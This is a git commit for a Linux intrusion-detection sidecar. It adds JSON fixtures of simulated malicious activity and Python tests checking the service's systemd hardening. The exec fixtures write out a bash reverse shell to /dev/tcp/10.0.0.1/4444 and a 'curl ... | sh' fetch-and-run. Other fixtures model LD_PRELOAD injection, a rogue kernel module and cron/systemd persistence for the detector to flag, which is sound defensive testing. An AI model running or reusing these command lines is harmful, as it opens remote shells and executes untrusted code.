feat(go): advance validation sidecar toward production

This commit is contained in:
Luna 2026-07-22 01:52:19 -07:00
parent 6a06eba255
commit f85c2e831a
No known key found for this signature in database
92 changed files with 8881 additions and 91 deletions

View file

@ -0,0 +1,6 @@
[
{"first_ts":1000.0,"last_ts":1050.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]},
{"first_ts":2000.0,"last_ts":2010.0,"signatures":["host_rule.suspicious-listener","exec_rule.web-rce","new_listener"]},
{"first_ts":3000.0,"last_ts":3601.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]},
{"first_ts":4000.0,"last_ts":4010.0,"signatures":["exec_rule.web-rce"]}
]

50
tests/fixtures/go/exec-events.json vendored Normal file
View file

@ -0,0 +1,50 @@
[
{
"pid": 1001,
"ppid": 1,
"uid": 1000,
"parent_comm": "bash",
"filename": "/tmp/.x/dropper",
"argv": []
},
{
"pid": 1002,
"ppid": 1001,
"uid": 1000,
"parent_comm": "bash",
"filename": "/bin/bash",
"argv": ["-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"]
},
{
"pid": 1003,
"ppid": 55,
"uid": 33,
"parent_comm": "nginx",
"filename": "/bin/sh",
"argv": ["-c", "id"]
},
{
"pid": 1004,
"ppid": 1000,
"uid": 1000,
"parent_comm": "bash",
"filename": "/bin/sh",
"argv": ["-c", "curl http://example.invalid/x | sh"]
},
{
"pid": 1005,
"ppid": 99,
"uid": 1000,
"parent_comm": "cron",
"filename": "/opt/custom/tool",
"argv": ["danger", "now"]
},
{
"pid": 1006,
"ppid": 1,
"uid": 1000,
"parent_comm": "bash",
"filename": "/usr/bin/ls",
"argv": ["-la"]
}
]

View file

@ -0,0 +1 @@
exec_rules_file = "../tests/fixtures/go/exec-rules.toml"

9
tests/fixtures/go/exec-rules.toml vendored Normal file
View file

@ -0,0 +1,9 @@
[[exec_rules]]
sid = 190001
msg = "Custom replay rule"
severity = "medium"
classtype = "custom-exec"
path_prefixes = ["/opt/custom/"]
parent_comm = ["cron"]
argv_regex = 'danger\s+now'
parent_exclude = ["sshd"]

14
tests/fixtures/go/host-events.json vendored Normal file
View file

@ -0,0 +1,14 @@
[
{"event":"tcp_connect","pid":3001,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":4444,"local_ip":"10.0.0.5","local_port":51510},
{"event":"listen","pid":3002,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444},
{"event":"bind","pid":3003,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444},
{"event":"file_write","pid":3004,"ppid":1,"uid":1000,"comm":"python3","path":"/etc/systemd/system/evil.service"},
{"event":"chmod","pid":3005,"ppid":1,"uid":0,"comm":"chmod","path":"/etc/cron.d/evil","mode":"0o777"},
{"event":"setuid","pid":3006,"ppid":1,"uid":1000,"comm":"python3","target_uid":"0"},
{"event":"setgid","pid":3007,"ppid":1,"uid":1000,"comm":"python3","target_gid":"0"},
{"event":"accept","pid":3008,"ppid":1,"uid":1000,"comm":"python3","remote_ip":"8.8.8.8","remote_port":"51515","local_ip":"0.0.0.0","local_port":"4444"},
{"event":"capset","pid":3009,"ppid":1,"uid":1000,"comm":"python3","capability":"CAP_SYS_ADMIN"},
{"event":"module_load","pid":3010,"ppid":1,"uid":0,"comm":"insmod","path":"/tmp/evil.ko","name":"evil"},
{"event":"tcp_connect","pid":3011,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":443},
{"event":"tcp_connect","pid":3012,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"10.0.0.2","peer_port":4444}
]

3
tests/fixtures/go/mixed-events.jsonl vendored Normal file
View file

@ -0,0 +1,3 @@
{"type":"execve","pid":"4001","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}
{"type":"sys","pid":"4002","ppid":"1","uid":"1000","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}
{"type":"listen","pid":"4003","ppid":"1","uid":"1000","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}

View file

@ -1,5 +1,13 @@
{
"ld_preload": "/tmp/global.so\n/opt/second.so",
"listener_baseline": [],
"suid_baseline": ["/usr/bin/sudo"],
"suid_binaries": ["/tmp/evil", "/usr/bin/sudo", "/usr/local/bin/newtool"],
"persist_since": 100,
"persistence_files": {"/etc/cron.d/evil": 101},
"first_seen_initialized": true,
"first_seen_public_destinations": {"bash": ["1.1.1.1:443"]},
"first_seen_listener_ports": {"nc": ["22"]},
"processes": [
{"pid": 100, "comm": "bash", "cmdline": "bash -i", "exe": "/usr/bin/bash", "fd_targets": {"0": "socket:[999]"}},
{"pid": 200, "comm": "sleep", "cmdline": "sleep", "exe": "/usr/bin/sleep", "environ": {"LD_PRELOAD": "/tmp/evil.so"}},
@ -25,5 +33,6 @@
{"state": "ESTAB", "local": "10.0.0.2:5000", "peer": "8.8.8.8:4443", "inode": 1, "comm": "hoxha", "pid": 340, "kind": "sctp"},
{"state": "UNCONN", "local": "*:eth0", "peer": "*", "inode": 2, "comm": "tcpdump", "pid": 341, "kind": "packet"},
{"state": "ESTAB", "local": "10.0.0.2:6000", "peer": "10.0.0.5:443", "inode": 3, "comm": "python3", "pid": 342, "kind": "tcp"}
,{"state": "LISTEN", "local": "0.0.0.0:31337", "peer": "0.0.0.0:*", "inode": 4, "comm": "nc", "pid": 500, "kind": "tcp"}
]
}

10
tests/fixtures/go/syscall-events.json vendored Normal file
View file

@ -0,0 +1,10 @@
[
{"pid": 2001, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]},
{"pid": 2002, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]},
{"pid": 2003, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "memfd_create", "args": [0, 0, 0], "text": "payload"},
{"pid": 2004, "ppid": 1, "uid": 1000, "comm": "debugger", "syscall": "ptrace", "args": [16, 5000, 0]},
{"pid": 2005, "ppid": 1, "uid": 1000, "comm": "sandbox", "syscall": "seccomp", "args": [0, 0, 0]},
{"pid": 2006, "ppid": 1, "uid": 1000, "comm": "scanner", "syscall": "process_vm_readv", "args": [5000, 0, 0]},
{"pid": 2007, "ppid": 1, "uid": 1000, "comm": "secretstore", "syscall": "mlock", "args": [140000000, 4096, 0]},
{"pid": 2008, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 5]}
]

View file

@ -0,0 +1,53 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Regression checks for the opt-in Go validation service."""
from pathlib import Path
import unittest
ROOT = Path(__file__).resolve().parents[1]
UNIT = ROOT / "systemd" / "enodia-sentinel-go-sidecar.service"
class GoSidecarPackagingTests(unittest.TestCase):
def test_unit_is_isolated_and_opt_in(self) -> None:
text = UNIT.read_text(encoding="utf-8")
self.assertIn("ExecStart=/usr/bin/env enodia-sentinel-go ", text)
self.assertIn("--state-dir /var/lib/enodia-sentinel-go", text)
self.assertIn("--event-log /var/lib/enodia-sentinel-go/events.jsonl", text)
self.assertIn("--event-log-max-bytes 67108864", text)
self.assertIn("--snapshot-dir /var/lib/enodia-sentinel-go", text)
self.assertIn("--ebpf-exec --ebpf-syscall", text)
self.assertIn("StandardOutput=journal", text)
self.assertIn("InaccessiblePaths=-/var/log/enodia-sentinel", text)
self.assertNotIn("Alias=enodia-sentinel.service", text)
def test_unit_keeps_required_hardening(self) -> None:
text = UNIT.read_text(encoding="utf-8")
for directive in (
"ProtectSystem=strict",
"ProtectHome=read-only",
"NoNewPrivileges=yes",
"MemoryDenyWriteExecute=yes",
"StateDirectory=enodia-sentinel-go",
"LimitMEMLOCK=infinity",
"Type=notify",
"NotifyAccess=main",
"PrivateDevices=yes",
"RestrictAddressFamilies=AF_UNIX AF_NETLINK",
"SystemCallArchitectures=native",
):
with self.subTest(directive=directive):
self.assertIn(directive, text)
def test_install_requires_explicit_go_target(self) -> None:
makefile = (ROOT / "Makefile").read_text(encoding="utf-8")
default_install = makefile.split("\ninstall-go:", 1)[0]
self.assertNotIn("enodia-sentinel-go-sidecar.service", default_install)
self.assertIn("install-go: build-go", makefile)
self.assertIn("enable-go:", makefile)
if __name__ == "__main__":
unittest.main()